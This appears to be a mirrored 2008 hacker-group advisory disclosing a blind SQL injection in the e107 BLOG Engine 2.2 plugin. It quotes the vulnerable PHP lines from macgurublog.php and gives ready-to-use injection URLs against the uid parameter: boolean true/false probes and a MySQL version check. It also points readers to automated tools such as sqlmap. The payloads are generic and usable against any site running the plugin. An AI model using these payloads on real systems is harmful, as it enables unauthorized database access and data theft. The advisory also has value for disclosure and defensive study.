e107 Plugin BLOG Engine 2.2 (uid) Blind SQL Injection Vulnerability

🗓️ 24 May 2008 00:00:00Reported by RootType
e107 Plugin BLOG Engine 2.2 Blind SQL Injection Vulnerabilit

                                                ##################################################################################################
&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;#&nbsp;::e107&nbsp;Plugin&nbsp;BLOG&nbsp;Engine&nbsp;v2.2&nbsp;(macgurublog.php/uid)&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability::&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;##################################################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.net

--------
Discoverd&nbsp;By&nbsp;:virangar&nbsp;security&nbsp;team(hadihadi)

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
&amp;&nbsp;my&nbsp;lovely&nbsp;friend&nbsp;arash(imm02tal)

-------vuln&nbsp;codes&nbsp;in:-----------
macgurublog.php:
line&nbsp;18:$buid&nbsp;=&nbsp;$_GET['uid'];
..
..
line&nbsp;31:$sql&nbsp;-&gt;&nbsp;db_Select(&quot;user&quot;,&nbsp;&quot;user_name&quot;,&nbsp;&quot;user_id=&quot;.$buid);
---
exploit:
[-]note=becuse&nbsp;e107&nbsp;using&nbsp;diffrent&nbsp;prefix/table&nbsp;names&nbsp;it's&nbsp;impossible&nbsp;to&nbsp;writting&nbsp;exploit&nbsp;for&nbsp;it&nbsp;:(

http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1&nbsp;and&nbsp;2&gt;1/*&nbsp;&nbsp;&nbsp;#the&nbsp;page&nbsp;fully&nbsp;loaded

http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1&nbsp;and&nbsp;1&gt;3/*&nbsp;&nbsp;&nbsp;#page&nbsp;loaded&nbsp;whit&nbsp;any&nbsp;data&nbsp;and&nbsp;some&nbsp;error&nbsp;that&nbsp;say&nbsp;&quot;The&nbsp;user&nbsp;has&nbsp;hidden&nbsp;their&nbsp;blog.&quot;

cheking&nbsp;the&nbsp;mysql&nbsp;version:
http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1&nbsp;and&nbsp;substring(@@version,1,1)=5
or
http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1&nbsp;and&nbsp;substring(@@version,1,1)=4

#&nbsp;you&nbsp;can&nbsp;exploting&nbsp;the&nbsp;bug&nbsp;white&nbsp;blind&nbsp;sql&nbsp;automatic&nbsp;toolz&nbsp;such&nbsp;as&nbsp;sqlmap&nbsp;or&nbsp;...
---
young&nbsp;iranian&nbsp;h4ck3rz
24 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1